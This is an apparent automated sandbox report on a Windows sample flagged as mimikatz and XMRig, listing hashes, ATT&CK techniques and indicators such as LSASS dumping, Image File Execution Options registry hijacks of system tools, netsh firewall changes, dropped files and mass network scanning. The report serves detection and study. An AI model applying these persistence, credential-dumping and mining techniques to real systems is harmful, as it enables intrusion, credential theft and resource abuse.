mimikatz | cbf56c65751b6c019f6cc90b5519da7e79160a53de48ae4924a41a570ef3edb9

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09-09-2024 02:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
Size

9.4MB
MD5

3fd08598bc0abea94be5d225a7b684b3
SHA1

347a0eb9adfb581c2124aacdcb315f4e6b9965b6
SHA256

cbf56c65751b6c019f6cc90b5519da7e79160a53de48ae4924a41a570ef3edb9
SHA512

1285af466868828a5cecb680eaf17f9b6d847e638a1f113f52fb6b5f0455933e6aa3bcf929de8c2cd62a8a78266811470aba81b14a14aa6126e1ab8ffa8819a3
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4000 created 2020	4000	aginbln.exe	36

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (19914) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/3640-177-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-181-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-198-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-215-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-224-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-233-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-246-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-251-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-252-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig
behavioral2/memory/3640-254-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

resource	yara_rule
behavioral2/memory/1540-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1540-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0008000000023417-6.dat	mimikatz
behavioral2/memory/748-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1388-136-0x00007FF618E00000-0x00007FF618EEE000-memory.dmp	mimikatz
behavioral2/memory/1388-137-0x00007FF618E00000-0x00007FF618EEE000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aginbln.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	aginbln.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2572	netsh.exe
2732	netsh.exe

Executes dropped EXE 28 IoCs

pid	Process
748	aginbln.exe
4000	aginbln.exe
1536	wpcap.exe
4004	nhkqndyng.exe
1388	vfshost.exe
5092	fmiclltfn.exe
1600	xohudmc.exe
2416	skakke.exe
3640	unzsbd.exe
1852	fmiclltfn.exe
752	fmiclltfn.exe
4940	fmiclltfn.exe
4632	fmiclltfn.exe
4856	fmiclltfn.exe
2596	fmiclltfn.exe
2004	fmiclltfn.exe
3508	fmiclltfn.exe
2956	aginbln.exe
4524	fmiclltfn.exe
2700	fmiclltfn.exe
1600	fmiclltfn.exe
1976	fmiclltfn.exe
3056	fmiclltfn.exe
4928	fmiclltfn.exe
2116	fmiclltfn.exe
1152	fmiclltfn.exe
1656	uedzbgtiz.exe
2292	aginbln.exe

Loads dropped DLL 12 IoCs

pid	Process
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
1536	wpcap.exe
4004	nhkqndyng.exe
4004	nhkqndyng.exe
4004	nhkqndyng.exe

UPX packed file 34 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023467-135.dat	upx
behavioral2/memory/1388-136-0x00007FF618E00000-0x00007FF618EEE000-memory.dmp	upx
behavioral2/memory/1388-137-0x00007FF618E00000-0x00007FF618EEE000-memory.dmp	upx
behavioral2/files/0x000700000002346f-140.dat	upx
behavioral2/memory/5092-141-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/5092-149-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/files/0x0007000000023471-163.dat	upx
behavioral2/memory/3640-164-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/1852-170-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/752-174-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-177-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/4940-179-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-181-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/4632-184-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/4856-188-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/2596-192-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/2004-196-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-198-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/3508-201-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/4524-209-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/2700-213-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-215-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/1600-218-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/1976-222-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-224-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/3056-227-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/4928-230-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/2116-232-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-233-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/1152-235-0x00007FF689120000-0x00007FF68917B000-memory.dmp	upx
behavioral2/memory/3640-246-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/3640-251-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/3640-252-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx
behavioral2/memory/3640-254-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
71	ifconfig.me
72	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	aginbln.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\skakke.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE	aginbln.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\skakke.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	aginbln.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	aginbln.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File opened for modification	C:\Windows\wcbiqigng\imbbbzfne\Packet.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\wpcap.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\ssleay32.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\vimpcsvc.xml	aginbln.exe
File opened for modification	C:\Windows\ihguignb\vimpcsvc.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\schoedcl.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\docmicfg.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\wpcap.exe	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\coli-0.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\crli-0.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\posh-0.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\trch-1.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\svschost.exe	aginbln.exe
File created	C:\Windows\ihguignb\aginbln.exe	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\cnli-1.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\spoolsrv.xml	aginbln.exe
File created	C:\Windows\ihguignb\spoolsrv.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\Corporate\mimilib.dll	aginbln.exe
File opened for modification	C:\Windows\wcbiqigng\imbbbzfne\Result.txt	uedzbgtiz.exe
File opened for modification	C:\Windows\ihguignb\aginbln.exe	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\tibe-2.dll	aginbln.exe
File created	C:\Windows\ihguignb\svschost.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\Packet.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\exma-1.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\xdvl-0.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\schoedcl.xml	aginbln.exe
File opened for modification	C:\Windows\ihguignb\schoedcl.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\schoedcl.exe	aginbln.exe
File created	C:\Windows\ihguignb\vimpcsvc.xml	aginbln.exe
File opened for modification	C:\Windows\ihguignb\svschost.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\AppCapture64.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\AppCapture32.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\docmicfg.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\svschost.xml	aginbln.exe
File created	C:\Windows\ihguignb\docmicfg.xml	aginbln.exe
File created	C:\Windows\ihguignb\schoedcl.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\upbdrjv\swrpwe.exe	aginbln.exe
File created	C:\Windows\ime\aginbln.exe	aginbln.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\nhkqndyng.exe	aginbln.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\ip.txt	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\tucl-1.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\spoolsrv.xml	aginbln.exe
File opened for modification	C:\Windows\ihguignb\spoolsrv.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\scan.bat	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\svschost.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\vimpcsvc.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\Shellcode.ini	aginbln.exe
File created	C:\Windows\wcbiqigng\Corporate\vfshost.exe	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\libeay32.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\zlib1.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\vimpcsvc.exe	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\docmicfg.exe	aginbln.exe
File opened for modification	C:\Windows\ihguignb\docmicfg.xml	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\spoolsrv.exe	aginbln.exe
File opened for modification	C:\Windows\wcbiqigng\Corporate\log.txt	cmd.exe
File created	C:\Windows\wcbiqigng\imbbbzfne\uedzbgtiz.exe	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\libxml2.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\trfo-2.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\UnattendGC\specials\ucl.dll	aginbln.exe
File created	C:\Windows\wcbiqigng\Corporate\mimidrv.sys	aginbln.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2340	sc.exe
4520	sc.exe
8	sc.exe
4492	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhkqndyng.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
